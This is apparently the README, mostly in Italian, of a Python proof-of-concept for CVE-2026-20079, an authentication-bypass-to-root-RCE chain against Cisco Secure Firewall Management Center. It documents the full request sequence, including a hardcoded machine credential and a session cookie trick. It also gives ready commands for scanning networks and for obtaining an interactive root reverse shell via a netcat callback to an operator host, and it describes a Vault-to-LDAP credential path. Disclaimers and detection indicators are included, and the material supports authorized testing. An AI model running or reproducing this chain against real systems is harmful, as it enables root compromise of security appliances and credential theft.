
Implementa la catena di attacco CVE-2026-20079 da bypass dell'autenticazione a RCE come root contro Cisco Secure FMC, tramite le modalità fingerprint, check, proof ed exploit interattivo.
Proof of concept in Python per la catena authentication-bypass-to-root-RCE di Cisco Secure Firewall Management Center, documentata pubblicamente, relativa a CVE-2026-20079.
Questa non è una nuova vulnerabilità né una catena di exploit sviluppata in modo indipendente. È un'implementazione clean-room della sequenza di richieste pubblicata da VulnCheck, con modalità separate per fingerprint, check, one-shot proof ed exploit interattivo.
È richiesto Python 3.10 o successivo. Su Linux o macOS:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help
## Sostituisci gli indirizzi di esempio
Tutti i valori `192.0.2.x` di seguito sono indirizzi di documentazione riservati. Sono
segnaposto, non informazioni sui target scoperte, e devono essere sostituiti con
valori provenienti dalla valutazione autorizzata. I comandi non sono pensati per
funzionare senza modifiche.
| Esempio | Significato | Cosa usare al suo posto |
| --- | --- | --- |
| `https://192.0.2.10` | URL FMC di destinazione | Lo schema, l'indirizzo e la porta FMC esatti autorizzati |
| `192.0.2.20` | Indirizzo a cui l'FMC si riconnette | L'indirizzo IP o il nome DNS del listener dell'operatore **come raggiungibile dall'FMC** |
| `192.0.2.0/24` | CIDR di fingerprint di esempio | Una rete esplicitamente autorizzata |
| `4444` | Porta TCP di callback/listener | Una porta approvata e raggiungibile sul sistema di callback |
| `0.0.0.0` | Dove il listener si vincola sul sistema dell'operatore | Lascialo per ascoltare su tutte le interfacce locali, oppure usa un indirizzo di interfaccia locale |
| `192.0.2.10` in `--expected-callback-source` | Origine prevista del callback | L'indirizzo sorgente dell'FMC come osservato dal listener; ometti questa opzione quando il NAT lo rende incerto |
| `http://127.0.0.1:8080` | Proxy di intercettazione locale opzionale | L'URL del proxy effettivamente in ascolto sul sistema dell'operatore |
### Scegliere `--callback-host`
Usa questa regola: **dal punto di vista dell'FMC, quale indirizzo raggiunge il
listener dell'operatore?** Quell'indirizzo è `--callback-host`.
| Percorso di rete | Tipico valore di `--callback-host` |
| --- | --- |
| Operatore e FMC sono sulla stessa rete instradata | L'indirizzo LAN raggiungibile del sistema dell'operatore, come `eth0`, `en0` o altro |
| L'operatore raggiunge l'FMC tramite una VPN | L'indirizzo dell'interfaccia VPN raggiungibile, come `tun0` o `utun`, quando l'FMC ha una rotta verso di esso |
| L'operatore è dietro NAT o un firewall | L'IP pubblico o il nome DNS la cui porta selezionata è inoltrata al sistema dell'operatore |
| Viene usato un tunnel di callback o un VPS | L'endpoint del tunnel raggiungibile o l'indirizzo del VPS |
Non usare `127.0.0.1` o `0.0.0.0` per `--callback-host`. `127.0.0.1`
farebbe riferimento all'FMC stesso, mentre `0.0.0.0` è un valore di bind del
listener, non una destinazione. Assicurati che routing, regole del firewall e
qualsiasi inoltro di porte consentano all'FMC di raggiungere `--callback-host`
sulla `--callback-port`.
`--listen-host` è solo locale: seleziona l'interfaccia su cui il listener
integrato rimane in ascolto. Il suo valore predefinito, `0.0.0.0`, ascolta su
ogni interfaccia locale. Non comunica all'FMC dove connettersi. Pertanto,
`--callback-host` e `--listen-host` possono essere diversi, specialmente
attraverso NAT.
### Esempio pratico: operatore e FMC sulla stessa rete
Considera questo laboratorio fittizio, solo ai fini della documentazione:```text
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
I valori corrispondono al comando come segue:
--target https://192.0.2.10 identifica il FMC in valutazione.--callback-host 192.0.2.20 è l'indirizzo eth0 del sistema dell'operatore, poiché
il FMC può instradare direttamente verso di esso.--callback-port 4444 è la porta TCP approvata utilizzata dal callback.--listen-host 0.0.0.0 fa sì che il listener integrato accetti il callback su
qualsiasi interfaccia locale, inclusa eth0.Un comando di prova one-shot per quell'esempio sarebbe:```bash
python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0
Il flusso è: l'operatore invia richieste HTTPS a `192.0.2.10`, poi la FMC
si riconnette all'indirizzo `192.0.2.20:4444` dell'operatore. In una valutazione
reale, sostituisci entrambi gli indirizzi IP e conferma la rotta di ritorno prima di eseguire il
comando. Se la FMC non riesce a raggiungere l'indirizzo `eth0` dell'operatore, usa
l'indirizzo VPN, NAT, tunnel o VPS raggiungibile descritto in precedenza.
## Modalità e riferimento rapido dei comandi
| Modalità | Effetto sulla rete o sul target | Cosa stabilisce il successo |
| --- | --- | --- |
| `--fingerprint` | Solo richieste GET | Una possibile superficie web FMC; non conferma della vulnerabilità |
| `--check` | Aggiorna lo stato della sessione lato server | Bypass dell'autenticazione e accesso a un token di azione |
| `--proof` | Scrive ed esegue un payload di callback limitato | Esecuzione come root più pulizia, senza shell interattiva |
| `--exploit` | Scrive ed esegue un payload FIFO/netcat | Un callback root interattivo, oppure verifica limitata con `--auto-verify` |
Imposta una volta i tre valori di esempio, sostituendo ciascuno con il target autorizzato,
l'indirizzo di callback dell'operatore e la porta:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Quindi scegli esattamente una modalità:```bash
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
python3 CVE-2026-20079.py --check --target "$FMC_URL"
python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify
> [!IMPORTANT]
> Il fingerprinting è un passaggio euristico di identificazione del prodotto, non un controllo di vulnerabilità
> check. `MATCH` e `LIKELY` non dimostrano che il target sia affetto o
> sfruttabile, e `NO_MATCH` non esclude FMC. Proxy inversi, pagine di login
> personalizzate, controlli di accesso, guasti di rete o modifiche al prodotto possono
> influenzare il risultato.
Il fingerprinting invia richieste di rete ma non esegue il bypass
dell'autenticazione o la catena RCE. Leggi i dettagli di classificazione, le descrizioni delle
modalità e l'avviso sullo stato della sessione di seguito prima di usare `--check`, `--proof` o `--exploit`.
> [!WARNING]
> Non eseguire `--check`, `--proof` o `--exploit` senza un'autorizzazione scritta
> esplicita che copra le modifiche al target e il metodo di prova. Leggi i
> prerequisiti, la limitazione sullo stato della sessione e i requisiti di callback prima.
## Come funziona la catena dell'exploit
La catena attiva fornisce `CGISESSID=csm_processes` a `/login.cgi?logon=Continue`, usa la credenziale macchina pubblicata `report:snortrules`, estrae `sf_action_id` da `/ui/user/general`, scrive uno script in formato Makeself tramite `validateLicense` e lo attiva tramite `SF::UI::DataObjectLibrary::upgradeReadinessCall`.
## Prerequisito importante
Una versione software affetta non è sempre sfruttabile al momento del test. La sessione `csm_processes` creata all'avvio deve ancora esistere. La normale attività UI autenticata e la pulizia delle sessioni possono rimuoverla. Non riavviare un FMC di produzione solo per soddisfare questo prerequisito.
## Limitazione dello stato della sessione
Le modalità `--check`, `--proof` e `--exploit` aggiornano la sessione `csm_processes` lato server. La PoC non tenta di riportare quella sessione al suo stato parziale originale perché non è disponibile alcuna operazione di downgrade documentata dal fornitore. Cancellare un cookie del client non annullerebbe la modifica lato server, mentre disconnettersi, forzare la scadenza o eliminare la voce nel database distruggerebbe la sessione anziché ripristinarla e potrebbe interferire con la validazione successiva o con il comportamento dell'appliance. Le funzioni di pulizia automatica rimuovono solo i file RCE temporanei; non dichiarano di ripristinare lo stato della sessione. `--fingerprint` non usa né modifica quella sessione.
## Prerequisiti di runtime del target
Entrambi i payload di callback richiedono:
- Una `/bin/sh` compatibile in stile POSIX.
- `rm` e `command`.
- Uno tra `nc`, `netcat` o `ncat` disponibile nel `PATH` di esecuzione del target.
- Connettività TCP in uscita da FMC all'indirizzo e alla porta di callback forniti.
Il payload interattivo `--exploit` richiede inoltre `mkfifo`. Il payload monouso `--proof` non crea una FIFO né una shell interattiva.
Il payload controlla i tre nomi di comando netcat supportati prima di tentare il callback. Se nessuno è presente, esce tramite i suoi trap di pulizia. Poiché l'errore si verifica all'interno del percorso di esecuzione cieco lato server, il tester osserva un callback mancante anziché un messaggio di errore remoto dettagliato.
`--auto-verify` usa la libreria socket di Python e non richiede un'installazione netcat locale. La modalità listener manuale può usare `nc`, `ncat`, `socat` o un altro listener TCP scelto dall'operatore.
## Fingerprinting FMC solo GET
Esegui il fingerprinting di un URL:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
Esegui il fingerprinting di un file contenente un URL, un indirizzo IP, un hostname o un valore host:port per riga:```bash
python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10
Esegui il fingerprinting di un intervallo di rete esplicitamente autorizzato:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256
Questa modalità è a basso impatto, non letteralmente passiva: invia richieste di rete. I redirect sono disabilitati globalmente e lo strumento segue solo un reale redirect HTTP al percorso esatto /ui/login che rimane su schema, host e porta originali. La risposta di login deve avere esito positivo (HTTP 2xx) prima che lo strumento riporti MATCH o LIKELY. Non allega il cookie di exploit, non invia credenziali, non invia richieste POST, non segue redirect esterni, non verifica una versione né dimostra CVE-2026-20079. MATCH significa che il branding è stato osservato in una risposta riuscita, LIKELY significa che la rotta di login stessa-origine riuscita corrispondeva senza branding nell'HTML grezzo, e NO_MATCH significa che l'impronta delimitata non ha identificato FMC.
Solo --fingerprint accetta --targets-file o --network. Le modalità check, proof ed exploit rimangono deliberatamente operazioni a singolo target. L'espansione di file e CIDR viene deduplicata e limitata da --max-hosts (default 4096), mentre la concorrenza è limitata da --workers (default 10, massimo 100).
python3 CVE-2026-20079.py
--target https://192.0.2.10
--check
Il successo richiede sia l'atteso upgrade di sessione HTTP 302 sia una risposta 200 contenente uno `sf_action_id` specifico della sessione.
Il PoC mantiene il token d'azione completo in memoria per la catena di richieste, ma stampa solo un'impronta abbreviata. Tratta i corpi di risposta grezzi che contengono il token completo come evidenza di sessione sensibile e non pubblicarli.
Dopo un controllo riuscito, la sessione lato server rimane aggiornata. Lo strumento lo segnala esplicitamente e non tenta un rollback non documentato.
## Prova di root one-shot
Usa questa modalità quando è richiesta una prova di esecuzione come root ma una shell interattiva non è necessaria.```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--proof \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--expected-callback-source 192.0.2.10
La modalità Proof avvia sempre il listener integrato prima della richiesta di scrittura del file. Il target invia marcatori di inizio/fine casuali, id, hostname, nome della directory di build e stato di pulizia di /var/tmp/license.tmp, quindi si disconnette. Il successo richiede uid=0(root) e la verificata assenza dello script temporaneo. Non crea una FIFO, non espone un canale di comando interattivo, né esegue post-esplorazione specifica dell'ambiente.
Avvia un listener sul sistema di callback autorizzato:```bash
nc -lvnp 4444
nc -lvn 4444
Esegui un comando listener appropriato per il sistema di callback, non entrambi.
Poi esegui:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444
Valida il callback:```bash id hostname -f
The PoC stampa il percorso esatto della FIFO temporanea. Rimuovi solo questi due noti artefatti di exploit dalla shell FMC:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp
Il PoC può avviare il proprio listener di callback ed eseguire automaticamente una post-esploitazione limitata:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
`--auto-verify` esegue solo le seguenti azioni tramite la callback:
1. Esegue `id` e richiede `uid=0(root)`.
2. Raccoglie `hostname -f` e il nome della directory di build del FMC.
3. Rimuove la FIFO randomizzata esatta creata da questa esecuzione e `/var/tmp/license.tmp`.
4. Verifica che entrambi i percorsi siano assenti.
5. Termina la callback.
Il payload generato rimuove inoltre `/var/tmp/license.tmp` non appena inizia l'esecuzione e installa handler di cleanup per l'uscita della shell e i segnali relativi a entrambi i percorsi temporanei. La verifica automatica esegue comunque e controlla un cleanup esplicito indipendente. Se viene tentata una scrittura ma la prova della callback o del cleanup è incompleta, il PoC esce con codice diverso da zero e stampa i due percorsi esatti che potrebbero richiedere una revisione manuale autorizzata.
Se l'indirizzo della callback differisce dall'indirizzo di bind locale, specificare quest'ultimo separatamente:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--listen-host 0.0.0.0 \
--callback-wait 60
Quando la sorgente del callback dovrebbe essere l'indirizzo FMC stesso e non è coinvolto alcun NAT lato callback, il listener può rifiutare connessioni non correlate:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10
Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.
Automatic Vault enumeration, credential extraction, persistence, and lateral movement are intentionally excluded. Those activities are not required to prove CVE-2026-20079 and depend on environment-specific authorization and configuration.
## Why the PoC uses FIFO/netcat
The first manual reproduction used a Bash `/dev/tcp` callback. Both HTTP
exploit stages returned their expected responses, but no connection arrived.
That demonstrated why HTTP status alone is not execution proof and why
shell-specific callback features should not be assumed on an appliance.
The successful retry used the FIFO/netcat compatibility pattern documented in
the public research. This PoC therefore goes directly to that proven pattern
and deliberately does not retry the failed `/dev/tcp` method. It checks for
`nc`, `netcat`, or `ncat`, requires an actual callback and `uid=0(root)` in
automatic mode, and returns nonzero when callback or cleanup proof is missing.
It cannot determine the exact reason for a blind callback failure, so it
reports the plausible runtime and network prerequisites rather than claiming
the target is patched.
## Post-exploitation scope
This repository automates the CVE from an unauthenticated state through a verified root callback and cleanup. It does **not** automate credential collection, secret export, or lateral movement.
During one authorized assessment, the resulting root shell exposed a locally running HashiCorp Vault service on the FMC. An appliance-local Vault client token permitted access to a configured LDAP credential record, and that credential subsequently completed an authorized LDAPS bind. This is an observed post-exploitation path from one environment, not a universal property or prerequisite of CVE-2026-20079.
See [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) for the first-person research story: the public background, manual exploitation process, failed callback, successful compatibility payload, observed post-exploitation path, lessons learned, and the eventual development of this tool.
## Optional proxy
To observe requests in an intercepting proxy:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--proxy http://127.0.0.1:8080
HTTP 302 o HTTP 200 da soli non dimostrano una root RCE. Tratta la questione come segue:
--fingerprint osserva il comportamento di login limitato o il branding; questo non è di per sé un riscontro di vulnerabilità.sf_action_id valido.id riporta uid=0(root).Il listener integrato utilizza marcatori di verifica casuali per ogni esecuzione, limita l'output della callback acquisita, filtra opzionalmente la sorgente della callback e restituisce uno stato diverso da zero se root o cleanup non possono essere verificati. La modalità listener manuale non può dimostrare queste condizioni al processo Python; la sua uscita riuscita significa che la catena HTTP è stata inviata, non che l'esecuzione come root sia stata osservata in modo indipendente.
0: fingerprinting completato con almeno un risultato non di errore; --check ha confermato il bypass dell'autenticazione; --proof o --auto-verify hanno confermato root e cleanup; oppure la modalità listener manuale ha inviato con successo la catena HTTP prevista.1: il target non ha corrisposto a una risposta prevista, la prova di callback/root/cleanup è fallita o si è verificato un errore di richiesta/listener.2: argomenti della riga di comando non validi.130: interrotto dall'operatore. Se è stato tentato uno write di payload, lo strumento stampa anche i percorsi esatti la cui pulizia rimane non verificata./login.cgi?logon=Continue utilizzando il cookie csm_processes e l'utente macchina report./ui/user/general immediatamente dopo l'aggiornamento della sessione.validateLicense a /sajaxintf.cgi?rs=callServerFunc.SF::UI::DataObjectLibrary::upgradeReadinessCall inviata a /pjb.cgi./var/tmp/license.tmp contenente un marcatore Makeself./tmp, una /bin/sh interattiva, nc e traffico in uscita inatteso da FMC.La configurazione rapida installa la dipendenza runtime da requirements.txt in un
ambiente virtuale isolato. Esegui i test unitari della libreria standard e i test
di integrazione mock locali senza contattare un target pubblico:```bash
python3 -m unittest discover -s tests -v
## Riferimenti
- [Cisco advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck technical analysis](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)
## Note legali
Utilizzare solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test.
Questa prova di concetto può modificare lo stato della sessione lato server ed eseguire comandi
come root. Sei responsabile di ottenere l'autorizzazione, definire un ambito
e un confine di prova sicuri, proteggere le prove raccolte e rispettare
leggi, contratti e regole applicabili di fornitori o programmi. L'autore e i
contributori non autorizzano accessi illegali, interruzioni o raccolta di dati.
Il software è fornito "così com'è", senza garanzia, e gli autori e i
detentori del copyright declinano ogni responsabilità nella misura massima consentita dalla legge.
Vedere la [Licenza MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) per i termini completi. Questo avviso di utilizzo non
modifica né limita la licenza.